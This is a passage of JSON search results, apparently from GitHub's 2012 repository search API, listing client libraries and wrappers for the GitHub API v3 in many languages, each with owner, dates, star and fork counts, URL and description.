v3","open_issues":0,"private":false,"username":"rsanders"},{"type":"repo","has_issues":true,"created_at":"2011-01-21T13:09:02-08:00","score":5.6330614,"owner":"farnoy","has_downloads":true,"followers":46,"created":"2011-01-21T13:09:02-08:00","pushed":"2012-01-31T04:33:03-08:00","homepage":"","watchers":46,"has_wiki":true,"language":"Ruby","pushed_at":"2012-01-31T04:33:03-08:00","forks":13,"fork":false,"size":164,"name":"github-api-client","url":"https://github.com/farnoy/github-api-client","description":"v2+v3 GitHub API Ruby client library","open_issues":5,"private":false,"username":"farnoy"},{"type":"repo","has_issues":true,"created_at":"2011-11-20T18:13:13-08:00","score":4.9115667,"owner":"pksunkara","has_downloads":true,"followers":61,"created":"2011-11-20T18:13:13-08:00","pushed":"2012-06-20T10:21:27-07:00","homepage":"","watchers":61,"has_wiki":true,"language":"CoffeeScript","pushed_at":"2012-06-20T10:21:27-07:00","forks":16,"fork":false,"size":160,"name":"octonode","url":"https://github.com/pksunkara/octonode","description":"github api v3 in nodejs","open_issues":2,"private":false,"username":"pksunkara"},{"type":"repo","has_issues":true,"created_at":"2011-10-23T01:34:00-07:00","score":4.2667623,"owner":"yiiext","has_downloads":true,"followers":11,"organization":"yiiext","created":"2011-10-23T01:34:00-07:00","pushed":"2011-11-16T01:07:50-08:00","homepage":"http://developer.github.com/v3/","watchers":11,"has_wiki":true,"language":"PHP","pushed_at":"2011-11-16T01:07:50-08:00","forks":2,"fork":false,"size":164,"name":"github-api","url":"https://github.com/yiiext/github-api","description":"implementation of github api v3","open_issues":1,"private":false,"username":"yiiext"},{"type":"repo","has_issues":true,"created_at":"2011-09-06T13:24:42-07:00","score":4.205773,"owner":"dsyph3r","has_downloads":true,"followers":22,"created":"2011-09-06T13:24:42-07:00","pushed":"2012-03-09T15:40:02-08:00","homepage":"","watchers":22,"has_wiki":true,"language":"PHP","pushed_at":"2012-03-09T15:40:02-08:00","forks":7,"fork":false,"size":168,"name":"github-api3-php","url":"https://github.com/dsyph3r/github-api3-php","description":"PHP library for the GitHub API v3","open_issues":1,"private":false,"username":"dsyph3r"},{"type":"repo","has_issues":true,"created_at":"2011-11-19T12:57:47-08:00","score":3.566463,"owner":"jcarver989","has_downloads":true,"followers":1,"created":"2011-11-19T12:57:47-08:00","pushed":"2011-11-19T13:21:11-08:00","homepage":"","watchers":1,"has_wiki":true,"language":"JavaScript","pushed_at":"2011-11-19T13:21:11-08:00","forks":1,"fork":false,"size":140,"name":"GithubApi.js","url":"https://github.com/jcarver989/GithubApi.js","description":"Micro library for Github's API (v3)","open_issues":0,"private":false,"username":"jcarver989"},{"type":"repo","has_issues":true,"created_at":"2012-02-25T04:53:47-08:00","score":3.565757,"owner":"jacquev6","has_downloads":true,"followers":29,"created":"2012-02-25T04:53:47-08:00","pushed":"2012-06-28T13:28:23-07:00","homepage":"http://vincent-jacques.net/PyGithub","watchers":29,"has_wiki":false,"language":"Python","pushed_at":"2012-06-28T13:28:23-07:00","forks":5,"fork":false,"size":188,"name":"PyGithub","url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","open_issues":11,"private":false,"username":"jacquev6"},{"type":"repo","has_issues":true,"created_at":"2012-06-12T04:43:27-07:00","score":3.499493,"owner":"bcg","has_downloads":true,"followers":1,"created":"2012-06-12T04:43:27-07:00","pushed":"2012-06-12T04:46:45-07:00","watchers":1,"has_wiki":true,"language":"Go","pushed_at":"2012-06-12T04:46:45-07:00","forks":1,"fork":false,"size":92,"name":"github","url":"https://github.com/bcg/github","description":"Go api for github v3","open_issues":0,"private":false,"username":"bcg"},{"type":"repo","has_issues":true,"created_at":"2012-02-21T11:25:15-08:00","score":3.4658518,"owner":"csphere","has_downloads":true,"followers":5,"created":"2012-02-21T11:25:15-08:00","pushed":"2012-05-18T10:25:08-07:00","homepage":"","watchers":5,"has_wiki":true,"language":"PHP","pushed_at":"2012-05-18T10:25:08-07:00","forks":2,"fork":false,"size":136,"name":"GithubApiWrapper-PHP","url":"https://github.com/csphere/GithubApiWrapper-PHP","description":"An intuitive wrapper for the Github Api v3.","open_issues":0,"private":false,"username":"csphere"},{"type":"repo","has_issues":true,"created_at":"2012-02-22T03:20:10-08:00","score":3.4529202,"owner":"dkucinskas","has_downloads":true,"followers":2,"created":"2012-02-22T03:20:10-08:00","pushed":"2012-06-24T22:10:11-07:00","homepage":"","watchers":2,"has_wiki":true,"language":"C#","pushed_at":"2012-06-24T22:10:11-07:00","forks":2,"fork":false,"size":116,"name":"net-github-api","url":"https://github.com/dkucinskas/net-github-api","description":"Simple Github API v3 client library for .Net","open_issues":0,"private":false,"username":"dkucinskas"},{"type":"repo","has_issues":true,"created_at":"2012-02-22T18:29:18-08:00","score":3.4125106,"owner":"csphere","has_downloads":true,"followers":4,"created":"2012-02-22T18:29:18-08:00","pushed":"2012-05-18T10:26:45-07:00","homepage":"","watchers":4,"has_wiki":true,"language":"Python","pushed_at":"2012-05-18T10:26:45-07:00","forks":4,"fork":false,"size":132,"name":"GithubApiWrapper-Python","url":"https://github.com/csphere/GithubApiWrapper-Python","description":"An intuitive wrapper for the Github Api v3.","open_issues":0,"private":false,"username":"csphere"},{"type":"repo","has_issues":true,"created_at":"2011-11-30T14:56:52-08:00","score":3.3439152,"owner":"edwardhotchkiss","has_downloads":true,"followers":20,"created":"2011-11-30T14:56:52-08:00","pushed":"2012-06-26T04:04:33-07:00","homepage":"http://edwardhotchkiss.com/github3/","watchers":20,"has_wiki":true,"language":"JavaScript","pushed_at":"2012-06-26T04:04:33-07:00","forks":10,"fork":false,"size":140,"name":"github3","url":"https://github.com/edwardhotchkiss/github3","description":"Node.JS GitHub API (v3) Wrapper","open_issues":0,"private":false,"username":"edwardhotchkiss"},{"type":"repo","has_issues":true,"created_at":"2011-04-28T10:07:29-07:00","score":3.282869,"owner":"ChristopherMacGown","has_downloads":true,"followers":20,"created":"2011-04-28T10:07:29-07:00","pushed":"2012-06-14T19:06:26-07:00","homepage":"","watchers":20,"has_wiki":true,"language":"Python","pushed_at":"2012-06-14T19:06:26-07:00","forks":12,"fork":false,"size":136,"name":"python-github3","url":"https://github.com/ChristopherMacGown/python-github3","description":"Github API v3 library for Python.","open_issues":0,"private":false,"username":"ChristopherMacGown"},{"type":"repo","has_issues":true,"created_at":"2012-04-15T10:14:22-07:00","score":3.2326941,"owner":"RobertFischer","has_downloads":true,"followers":1,"created":"2012-04-15T10:14:22-07:00","pushed":"2012-05-15T05:40:26-07:00","homepage":"","watchers":1,"has_wiki":true,"language":"Java","pushed_at":"2012-05-15T05:40:26-07:00","forks":1,"fork":false,"size":194,"name":"github-api-3","url":"https://github.com/RobertFischer/github-api-3","description":"An under-implemented version of the GitHub API v3 using the Groovy RESTClient.","open_issues":0,"private":false,"username":"RobertFischer"},{"type":"repo","has_issues":true,"created_at":"2010-09-10T23:51:56-07:00","score":3.026753,"owner":"lynnwallenstein","has_downloads":true,"followers":25,"created":"2010-09-10T23:51:56-07:00","pushed":"2012-06-24T15:22:01-07:00","homepage":"","watchers":25,"has_wiki":true,"language":"JavaScript","pushed_at":"2012-06-24T15:22:01-07:00","forks":5,"fork":false,"size":173,"name":"jQuery-Github-Badge","url":"https://github.com/lynnwallenstein/jQuery-Github-Badge","description":"User and Project GitHub badge using jQuery and GitHub API v3","open_issues":4,"private":false,"username":"lynnwallenstein"},{"type":"repo","has_issues":true,"created_at":"2012-03-11T13:35:23-07:00","score":2.9790008,"owner":"peter-murach","has_downloads":true,"followers":18,"created":"2012-03-11T13:35:23-07:00","pushed":"2012-06-27T14:37:16-07:00","homepage":"","watchers":18,"has_wiki":true,"language":"Ruby","pushed_at":"2012-06-27T14:37:16-07:00","forks":3,"fork":false,"size":276,"name":"github_cli","url":"https://github.com/peter-murach/github_cli","description":"CLI-based access to GitHub API v3","open_issues":3,"private":false,"username":"peter-murach"},{"type":"repo","has_issues":true,"created_at":"2011-11-13T22:02:02-08:00","score":2.877118,"owner":"eed3si9n","has_downloads":true,"followers":5,"created":"2011-11-13T22:02:02-08:00","pushed":"2011-11-29T06:28:35-08:00","homepage":"","watchers":5,"has_wiki":true,"language":"Scala","pushed_at":"2011-11-29T06:28:35-08:00","forks":2,"fork":false,"size":200,"name":"dispatch-github","url":"https://github.com/eed3si9n/dispatch-github","description":"github API v3","open_issues":0,"private":false,"username":"eed3si9n"},{"type":"repo","has_issues":true,"created_at":"2011-06-25T03:40:24-07:00","score":2.6712246,"owner":"plu","has_downloads":true,"followers":19,"created":"2011-06-25T03:40:24-07:00","pushed":"2011-12-29T04:26:13-08:00","homepage":"http://metacpan.org/module/Pithub","watchers":19,"has_wiki":true,"language":"Perl","pushed_at":"2011-12-29T04:26:13-08:00","forks":1,"fork":false,"size":1382,"name":"Pithub","url":"https://github.com/plu/Pithub","description":"Perl Github v3 API","open_issues":18,"private":false,"username":"plu"},{"type":"repo","has_issues":true,"created_at":"2011-10-27T08:47:40-07:00","score":2.593327,"owner":"dominis","has_downloads":true,"followers":5,"created":"2011-10-27T08:47:40-07:00","pushed":"2012-01-07T14:01:34-08:00","homepage":"","watchers":5,"has_wiki":false,"language":"PHP","pushed_at":"2012-01-07T14:01:34-08:00","forks":1,"fork":false,"size":172,"name":"GitHub-API-PHP","url":"https://github.com/dominis/GitHub-API-PHP","description":"PHP library for GitHub's v3 api","open_issues":0,"private":false,"username":"dominis"},{"type":"repo","has_issues":false,"created_at":"2012-05-28T19:34:50-07:00","score":2.565456,"owner":"danielribeiro","has_downloads":true,"followers":1,"created":"2012-05-28T19:34:50-07:00","pushed":"2012-04-17T02:30:54-07:00","homepage":"","watchers":1,"has_wiki":true,"language":"JavaScript","pushed_at":"2012-04-17T02:30:54-07:00","forks":0,"fork":false,"size":464,"name":"api-amazing","url":"https://github.com/danielribeiro/api-amazing","description":"Amazing API client, currently for Github's API v3, in the browser","open_issues":0,"private":false,"username":"danielribeiro"},{"type":"repo","has_issues":true,"created_at":"2011-05-12T12:18:23-07:00","score":2.4090881,"owner":"trustmaster","has_downloads":true,"followers":11,"created":"2011-05-12T12:18:23-07:00","pushed":"2011-10-04T04:47:18-07:00","homepage":"","watchers":11,"has_wiki":true,"language":"PHP","pushed_at":"2011-10-04T04:47:18-07:00","forks":4,"fork":false,"size":184,"name":"trac2github","url":"https://github.com/trustmaster/trac2github","description":"Converts Trac milestones, tickets and comments into Github issues 2.0 using github api v3","open_issues":0,"private":false,"username":"trustmaster"},{"type":"repo","has_issues":true,"created_at":"2011-12-26T14:00:46-08:00","score":2.3760638,"owner":"ozipi","has_downloads":true,"followers":3,"created":"2011-12-26T14:00:46-08:00","pushed":"2012-01-08T14:10:07-08:00","homepage":"","watchers":3,"has_wiki":true,"language":"JavaScript","pushed_at":"2012-01-08T14:10:07-08:00","forks":2,"fork":false,"size":141,"name":"github.js","url":"https://github.com/ozipi/github.js","description":"Github v3 Api Javascript library","open_issues":0,"private":false,"username":"ozipi"},{"type":"repo","has_issues":true,"created_at":"2010-08-25T17:50:01-07:00","score":2.3341565,"owner":"diogenes","has_downloads":true,"followers":26,"created":"2010-08-25T17:50:01-07:00","pushed":"2011-10-17T08:15:23-07:00","homepage":"","watchers":26,"has_wiki":true,"language":"Ruby","pushed_at":"2011-10-17T08:15:23-07:00","forks":8,"fork":false,"size":112,"name":"hubruby","url":"https://github.com/diogenes/hubruby","description":"A simple Ruby library to access the current GitHub API (v3)","open_issues":0,"private":false,"username":"diogenes"},{"type":"repo","has_issues":true,"created_at":"2011-06-15T00:51:00-07:00","score":2.3227224,"owner":"rubik","has_downloads":true,"followers":2,"created":"2011-06-15T00:51:00-07:00","pushed":"2011-06-15T00:58:19-07:00","homepage":"","watchers":2,"has_wiki":true,"language":"Python","pushed_at":"2011-06-15T00:58:19-07:00","forks":1,"fork":false,"size":96,"name":"github.py","url":"https://github.com/rubik/github.py","description":"Python wrapper for Github API v3","open_issues":0,"private":false,"username":"rubik"},{"type":"repo","has_issues":true,"created_at":"2012-02-14T06:15:34-08:00","score":2.2703757,"owner":"ji","has_downloads":true,"followers":1,"created":"2012-02-14T06:15:34-08:00","pushed":"2012-03-07T10:29:38-08:00","homepage":"","watchers":1,"has_wiki":true,"language":"Ruby","pushed_at":"2012-03-07T10:29:38-08:00","forks":1,"fork":false,"size":224,"name":"github_widgets","url":"https://github.com/ji/github_widgets","description":"Github widgets for the github v3 API.","open_issues":0,"private":false,"username":"ji"},{"type":"repo","has_issues":true,"created_at":"2011-08-16T09:17:47-07:00","score":2.2693808,"owner":"mixu","has_downloads":true,"followers":1,"created":"2011-08-16T09:17:47-07:00","pushed":"2011-08-16T09:44:41-07:00","homepage":"","watchers":1,"has_wiki":true,"language":"JavaScript","pushed_at":"2011-08-16T09:44:41-07:00","forks":1,"fork":false,"size":96,"name":"github.js","url":"https://github.com/mixu/github.js","description":"Github API v3 JS client","open_issues":0,"private":false,"username":"mixu"},{"type":"repo","has_issues":true,"created_at":"2011-12-23T03:57:39-08:00","score":2.2693808,"owner":"zendflex","has_downloads":true,"followers":1,"organization":"zendflex","created":"2011-12-23T03:57:39-08:00","pushed":"2011-12-23T10:00:20-08:00","watchers":1,"has_wiki":true,"language":"PHP","pushed_at":"2011-12-23T10:00:20-08:00","forks":1,"fork":false,"size":112,"name":"zendflex-github-lib","url":"https://github.com/zendflex/zendflex-github-lib","description":"Php lib for github api v3","open_issues":0,"private":false,"username":"zendflex"},{"type":"repo","has_issues":true,"created_at":"2012-02-02T15:15:01-08:00","score":2.2693808,"owner":"devjones","has_downloads":true,"followers":1,"created":"2012-02-02T15:15:01-08:00","pushed":"2012-02-02T15:15:52-08:00","homepage":"","watchers":1,"has_wiki":true,"language":"Python","pushed_at":"2012-02-02T15:15:52-08:00","forks":1,"fork":false,"size":88,"name":"py_github3","url":"https://github.com/devjones/py_github3","description":"draft python wrapper for Github API v3","open_issues":0,"private":false,"username":"devjones"},{"type":"repo","has_issues":true,"created_at":"2012-01-01T21:15:53-08:00","score":2.125537,"owner":"mtutty","has_downloads":true,"followers":2,"created":"2012-01-01T21:15:53-08:00","pushed":"2012-01-18T13:24:44-08:00","homepage":"","watchers":2,"has_wiki":true,"language":"C#","pushed_at":"2012-01-18T13:24:44-08:00","forks":1,"fork":false,"size":4472,"name":"GithubIssueSync","url":"https://github.com/mtutty/GithubIssueSync","description":"Allows bulk import and export of issues via Github API V3","open_issues":1,"private":false,"username":"mtutty"},{"type":"repo","has_issues":true,"created_at":"2012-01-15T04:51:05-08:00","score":2.0350344,"owner":"Wolfy87","has_downloads":true,"followers":4,"created":"2012-01-15T04:51:05-08:00","pushed":"2012-01-23T06:38:19-08:00","homepage":"","watchers":4,"has_wiki":true,"language":"JavaScript","pushed_at":"2012-01-23T06:38:19-08:00","forks":2,"fork":false,"size":228,"name":"github.js","url":"https://github.com/Wolfy87/github.js","description":"Frontend JavaScript library for interacting with the GitHub API v3","open_issues":0,"private":false,"username":"Wolfy87"},{"type":"repo","has_issues":true,"created_at":"2011-07-16T15:32:34-07:00","score":1.9842197,"owner":"jhelwig","has_downloads":true,"followers":15,"created":"2011-07-16T15:32:34-07:00","pushed":"2012-05-23T13:17:32-07:00","homepage":"http://rdoc.info/github/jhelwig/octocat_herder/master/frames","watchers":15,"has_wiki":false,"language":"Ruby","pushed_at":"2012-05-23T13:17:32-07:00","forks":4,"fork":false,"size":132,"name":"octocat_herder","url":"https://github.com/jhelwig/octocat_herder","description":"Ruby interface to the v3 GitHub API","open_issues":1,"private":false,"username":"jhelwig"},{"type":"repo","has_issues":true,"created_at":"2011-07-12T23:06:31-07:00","score":1.9816928,"owner":"bitprophet","has_downloads":true,"followers":3,"created":"2011-07-12T23:06:31-07:00","pushed":"2011-08-18T17:19:18-07:00","homepage":"","watchers":3,"has_wiki":true,"language":"Ruby","pushed_at":"2011-08-18T17:19:18-07:00","forks":2,"fork":false,"size":128,"name":"redmine2github","url":"https://github.com/bitprophet/redmine2github","description":"Port (Fabric's) Redmine tickets to (Fabric's) Github Issues v2 / API v3","open_issues":0,"private":false,"username":"bitprophet"},{"type":"repo","has_issues":true,"created_at":"2011-08-08T23:02:37-07:00","score":1.9816928,"owner":"joeworkman","has_downloads":true,"followers":3,"created":"2011-08-08T23:02:37-07:00","pushed":"2012-02-09T10:20:36-08:00","watchers":3,"has_wiki":true,"language":"PHP","pushed_at":"2012-02-09T10:20:36-08:00","forks":2,"fork":false,"size":132,"name":"github_oauth","url":"https://github.com/joeworkman/github_oauth","description":"PHP Library that makes using OAuth with the GitHUB v3API a piece of cake","open_issues":0,"private":false,"username":"joeworkman"},{"type":"repo","has_issues":true,"created_at":"2011-09-27T07:41:01-07:00","score":1.9283514,"owner":"thiagolocatelli","has_downloads":true,"followers":2,"created":"2011-09-27T07:41:01-07:00","pushed":"2011-09-27T07:53:33-07:00","homepage":"","watchers":2,"has_wiki":true,"language":"Java","pushed_at":"2011-09-27T07:53:33-07:00","forks":1,"fork":false,"size":108,"name":"android-github-oauth","url":"https://github.com/thiagolocatelli/android-github-oauth","description":"Library and example project on how to connect to GitHub OAuth (v3) API","open_issues":0,"private":false,"username":"thiagolocatelli"},{"type":"repo","has_issues":true,"created_at":"2012-05-17T19:22:24-07:00","score":1.9283514,"owner":"erikcharlebois","has_downloads":false,"followers":2,"created":"2012-05-17T19:22:24-07:00","pushed":"2012-05-17T21:05:25-07:00","homepage":"https://github.com/erikcharlebois/git-hub","watchers":2,"has_wiki":false,"language":"Ruby","pushed_at":"2012-05-17T21:05:25-07:00","forks":1,"fork":false,"size":96,"name":"git-hub","url":"https://github.com/erikcharlebois/git-hub","description":"Command line extension to git for working with GitHub v3 API.","open_issues":1,"private":false,"username":"erikcharlebois"},{"type":"repo","has_issues":true,"created_at":"2011-05-12T19:11:45-07:00","score":1.8750099,"owner":"baz","has_downloads":true,"followers":1,"created":"2011-05-12T19:11:45-07:00","pushed":"2011-05-12T19:13:02-07:00","homepage":"","watchers":1,"has_wiki":true,"language":"JavaScript","pushed_at":"2011-05-12T19:13:02-07:00","forks":1,"fork":false,"size":124,"name":"node-github-issues","url":"https://github.com/baz/node-github-issues","description":"GitHub Issues API v3 Node.js module","open_issues":0,"private":false,"username":"baz"},{"type":"repo","has_issues":true,"created_at":"2010-10-28T19:31:52-07:00","score":1.6202691,"owner":"Factual","has_downloads":true,"followers":15,"organization":"Factual","created":"2010-10-28T19:31:52-07:00","pushed":"2012-02-23T20:03:15-08:00","homepage":"http://wiki.developer.factual.com/","watchers":15,"has_wiki":true,"language":"Ruby","pushed_at":"2012-02-23T20:03:15-08:00","forks":5,"fork":false,"size":112,"name":"ruby-factual","url":"https://github.com/Factual/ruby-factual","description":"Ruby gem to access Factual API v2. Since the Factual API v2 will be deprecated in Q2 2012, and we are moving forward to API v3, there is new ruby gem for V3 accessing, which is at https://github.com/Factual/factual-ruby-driver.","open_issues":0,"private":false,"username":"Factual"},{"type":"repo","has_issues":true,"created_at":"2011-10-03T17:46:03-07:00","score":1.5275998,"owner":"testpilot","has_downloads":true,"followers":2,"organization":"testpilot","created":"2011-10-03T17:46:03-07:00","pushed":"2011-11-29T00:14:53-08:00","homepage":"testpilot.me","watchers":2,"has_wiki":true,"language":"Ruby","pushed_at":"2011-11-29T00:14:53-08:00","forks":1,"fork":false,"size":264,"name":"octoplex","url":"https://github.com/testpilot/octoplex","description":"Github v3 API wrapper gem","open_issues":0,"private":false,"username":"testpilot"},{"type":"repo","has_issues":true,"created_at":"2012-02-29T15:46:40-08:00","score":1.5275998,"owner":"woloski","has_downloads":true,"followers":2,"created":"2012-02-29T15:46:40-08:00","pushed":"2012-03-01T18:36:35-08:00","homepage":"","watchers":2,"has_wiki":true,"language":"","pushed_at":"2012-03-01T18:36:35-08:00","forks":2,"fork":false,"size":132,"name":"githubapi-testrepo","url":"https://github.com/woloski/githubapi-testrepo","description":"testing repo for github api v3","open_issues":0,"private":false,"username":"woloski"},{"type":"repo","has_issues":true,"created_at":"2011-07-18T11:55:00-07:00","score":1.5041462,"owner":"gitpilot","has_downloads":true,"followers":7,"organization":"gitpilot","created":"2011-07-18T11:55:00-07:00","pushed":"2011-07-21T12:18:26-07:00","homepage":"http://www.gitpilot.com","watchers":7,"has_wiki":true,"language":"Ruby","pushed_at":"2011-07-21T12:18:26-07:00","forks":2,"fork":false,"size":112,"name":"fuselage","url":"https://github.com/gitpilot/fuselage","description":"Light weight Ruby wrapper for Github v3 api","open_issues":0,"private":false,"username":"gitpilot"},{"type":"repo","has_issues":true,"created_at":"2011-07-14T19:46:55-07:00","score":1.4742583,"owner":"wanthony","has_downloads":true,"followers":1,"created":"2011-07-14T19:46:55-07:00","pushed":"2011-07-14T19:57:37-07:00","homepage":"","watchers":1,"has_wiki":true,"language":"Ruby","pushed_at":"2011-07-14T19:57:37-07:00","forks":1,"fork":false,"size":96,"name":"octo_rest","url":"https://github.com/wanthony/octo_rest","description":"A ruby client for the github v3 api","open_issues":0,"private":false,"username":"wanthony"},{"type":"repo","has_issues":true,"created_at":"2011-10-06T03:41:32-07:00","score":1.4742583,"owner":"markharmon","has_downloads":true,"followers":1,"created":"2011-10-06T03:41:32-07:00","pushed":null,"homepage":"","watchers":1,"has_wiki":true,"language":"","forks":1,"fork":false,"size":0,"name":"GitHub.Net","url":"https://github.com/markharmon/GitHub.Net","description":"GitHub Api V3 for .Net","open_issues":0,"private":false,"username":"markharmon"},{"type":"repo","has_issues":true,"created_at":"2011-06-25T16:25:57-07:00","score":1.4508047,"owner":"sbellity","has_downloads":true,"followers":5,"created":"2011-06-25T16:25:57-07:00","pushed":"2011-07-21T03:21:10-07:00","homepage":"","watchers":5,"has_wiki":true,"language":"Ruby","pushed_at":"2011-07-21T03:21:10-07:00","forks":2,"fork":false,"size":112,"name":"githu3","url":"https://github.com/sbellity/githu3","description":"Ruby wrapper for GitHub's v3 API","open_issues":4,"private":false,"username":"sbellity"},{"type":"repo","has_issues":true,"created_at":"2011-09-13T03:01:53-07:00","score":1.3974632,"owner":"francescomari","has_downloads":true,"followers":4,"created":"2011-09-13T03:01:53-07:00","pushed":"2012-04-10T14:08:39-07:00","homepage":"","watchers":4,"has_wiki":false,"language":"Python","pushed_at":"2012-04-10T14:08:39-07:00","forks":2,"fork":false,"size":148,"name":"pythub","url":"https://github.com/francescomari/pythub","description":"A simple Python wrapper around the Github API v3","open_issues":0,"private":false,"username":"francescomari"},{"type":"repo","has_issues":true,"created_at":"2011-12-22T00:01:31-08:00","score":1.2907803,"owner":"smoak","has_downloads":true,"followers":2,"created":"2011-12-22T00:01:31-08:00","pushed":"2011-12-22T00:20:57-08:00","homepage":"","watchers":2,"has_wiki":true,"language":"Python","pushed_at":"2011-12-22T00:20:57-08:00","forks":1,"fork":false,"size":92,"name":"pyhub","url":"https://github.com/smoak/pyhub","description":"Python Client for the GitHub v3 API ","open_issues":0,"private":false,"username":"smoak"},{"type":"repo","has_issues":true,"created_at":"2012-03-08T12:07:25-08:00","score":1.2907803,"owner":"csphere","has_downloads":true,"followers":2,"created":"2012-03-08T12:07:25-08:00","pushed":"2012-04-02T15:08:54-07:00","homepage":"","watchers":2,"has_wiki":true,"language":"Ruby","pushed_at":"2012-04-02T15:08:54-07:00","forks":2,"fork":false,"size":264,"name":"rubhub","url":"https://github.com/csphere/rubhub","description":"Ruby Gem - An intuitive wrapper for the Github Api v3.","open_issues":0,"private":false,"username":"csphere"},{"type":"repo","has_issues":true,"created_at":"2012-06-03T12:59:40-07:00","score":1.2374389,"owner":"badsharkco","has_downloads":true,"followers":1,"created":"2012-06-03T12:59:40-07:00","pushed":"2012-06-03T13:58:55-07:00","watchers":1,"has_wiki":true,"language":"PHP","pushed_at":"2012-06-03T13:58:55-07:00","forks":1,"fork":false,"size":124,"name":"simplev3-php","url":"https://github.com/badsharkco/simplev3-php","description":"The simplest way to interact with the GitHub API v3, in PHP.","open_issues":0,"private":false,"username":"badsharkco"},{"type":"repo","has_issues":true,"created_at":"2012-06-07T08:51:53-07:00","score":1.2374389,"owner":"cheeyeo","has_downloads":true,"followers":1,"created":"2012-06-07T08:51:53-07:00","pushed":"2012-06-07T10:39:31-07:00","watchers":1,"has_wiki":true,"language":"","pushed_at":"2012-06-07T10:39:31-07:00","forks":1,"fork":false,"size":0,"name":"snipplets-test","url":"https://github.com/cheeyeo/snipplets-test","description":"Testing snipplets app link to github through api v3","open_issues":0,"private":false,"username":"cheeyeo"},{"type":"repo","has_issues":true,"created_at":"2012-06-05T00:39:13-07:00","score":1.2374389,"owner":"hahuang65","has_downloads":true,"followers":1,"created":"2012-06-05T00:39:13-07:00","pushed":"2012-06-14T17:11:06-07:00","watchers":1,"has_wiki":true,"language":"Ruby","pushed_at":"2012-06-14T17:11:06-07:00","forks":1,"fork":false,"size":436,"name":"Octobot","url":"https://github.com/hahuang65/Octobot","description":"GitHub V3 API Wrapper for Ruby","open_issues":0,"private":false,"username":"hahuang65"},{"type":"repo","has_issues":true,"created_at":"2012-06-14T14:31:40-07:00","score":1.2374389,"owner":"smencer","has_downloads":true,"followers":1,"created":"2012-06-14T14:31:40-07:00","pushed":"2012-06-25T19:51:13-07:00","watchers":1,"has_wiki":true,"language":"C#","pushed_at":"2012-06-25T19:51:13-07:00","forks":1,"fork":false,"size":396,"name":"CSharpGitHubAPIWrapper","url":"https://github.com/smencer/CSharpGitHubAPIWrapper","description":"A C# wrapper for the GitHub API (v3)","open_issues":0,"private":false,"username":"smencer"},{"type":"repo","has_issues":true,"created_at":"2011-04-29T15:16:32-07:00","score":1.2374388,"owner":"jeffremer","has_downloads":true,"followers":1,"created":"2011-04-29T15:16:32-07:00","pushed":"2011-04-30T19:43:37-07:00","homepage":"http://jeffremer.com","watchers":1,"has_wiki":true,"language":"Ruby","pushed_at":"2011-04-30T19:43:37-07:00","forks":1,"fork":false,"size":848,"name":"gist-client","url":"https://github.com/jeffremer/gist-client","description":"A REST client for CRUDing Github Gists via the v3 API.","open_issues":0,"private":false,"username":"jeffremer"},{"type":"repo","has_issues":true,"created_at":"2011-05-23T19:31:04-07:00","score":1.2374388,"owner":"kaiwu","has_downloads":true,"followers":1,"created":"2011-05-23T19:31:04-07:00","pushed":"2011-05-23T19:51:51-07:00","homepage":"","watchers":1,"has_wiki":true,"language":"","pushed_at":"2011-05-23T19:51:51-07:00","forks":1,"fork":false,"size":108,"name":"githubv3objc","url":"https://github.com/kaiwu/githubv3objc","description":"github v3 api wrapper in objective-c","open_issues":0,"private":false,"username":"kaiwu"},{"type":"repo","has_issues":true,"created_at":"2011-07-28T15:57:34-07:00","master_branch":"develop","score":1.2374388,"owner":"mrtazz","has_downloads":true,"followers":1,"created":"2011-07-28T15:57:34-07:00","pushed":"2011-07-28T15:58:01-07:00","homepage":"","watchers":1,"has_wiki":true,"language":"","pushed_at":"2011-07-28T15:58:01-07:00","forks":1,"fork":false,"size":100,"name":"octonode","url":"https://github.com/mrtazz/octonode","description":"[WIP] node.js wrapper for the github v3 API","open_issues":0,"private":false,"username":"mrtazz"},{"type":"repo","has_issues":true,"created_at":"2011-11-13T12:27:30-08:00","score":1.2374388,"owner":"mdellanoce","has_downloads":true,"followers":1,"created":"2011-11-13T12:27:30-08:00","pushed":"2012-01-17T18:24:42-08:00","homepage":"","watchers":1,"has_wiki":true,"language":"Ruby","pushed_at":"2012-01-17T18:24:42-08:00","forks":1,"fork":false,"size":268,"name":"gittycat","url":"https://github.com/mdellanoce/gittycat","description":"Yet another ruby binding for GitHub's V3 API","open_issues":0,"private":false,"username":"mdellanoce"},{"type":"repo","has_issues":true,"created_at":"2012-04-30T07:59:23-07:00","score":1.2374388,"owner":"Strech","has_downloads":true,"followers":1,"created":"2012-04-30T07:59:23-07:00","pushed":"2012-04-30T09:48:02-07:00","watchers":1,"has_wiki":true,"language":"Ruby","pushed_at":"2012-04-30T09:48:02-07:00","forks":1,"fork":false,"size":236,"name":"abak_oauth","url":"https://github.com/Strech/abak_oauth","description":"This is a simple rails app for github api v3 oauth2","open_issues":0,"private":false,"username":"Strech"},{"type":"repo","has_issues":true,"created_at":"2011-08-12T15:20:29-07:00","score":1.1073024,"owner":"meritt","has_downloads":true,"followers":3,"created":"2011-08-12T15:20:29-07:00","pushed":"2012-04-22T13:04:49-07:00","homepage":"http://github.com/meritt/node-gisty","watchers":3,"has_wiki":false,"language":"CoffeeScript","pushed_at":"2012-04-22T13:04:49-07:00","forks":1,"fork":false,"size":112,"name":"node-gisty","url":"https://github.com/meritt/node-gisty","description":"A Node.JS wrapper for GitHub gist API v3. ","open_issues":0,"private":false,"username":"meritt"},{"type":"repo","has_issues":true,"created_at":"2012-06-13T13:26:46-07:00","score":1.0669504,"owner":"ritratt","has_downloads":true,"followers":1,"created":"2012-06-13T13:26:46-07:00","pushed":"2012-06-13T13:37:31-07:00","watchers":1,"has_wiki":true,"language":"Python","pushed_at":"2012-06-13T13:37:31-07:00","forks":1,"fork":false,"size":92,"name":"gituserinfo","url":"https://github.com/ritratt/gituserinfo","description":"A simple python script that uses PyGithub for accessing user information through Github API v3","open_issues":0,"private":false,"username":"ritratt"},{"type":"repo","has_issues":true,"created_at":"2011-09-08T18:44:48-07:00","score":1.0006194,"owner":"wanthony","has_downloads":true,"followers":1,"created":"2011-09-08T18:44:48-07:00","pushed":null,"homepage":"","watchers":1,"has_wiki":true,"language":"","forks":1,"fork":false,"size":0,"name":"coffeehub","url":"https://github.com/wanthony/coffeehub","description":"A Node.js / CoffeeScript GitHub API v3 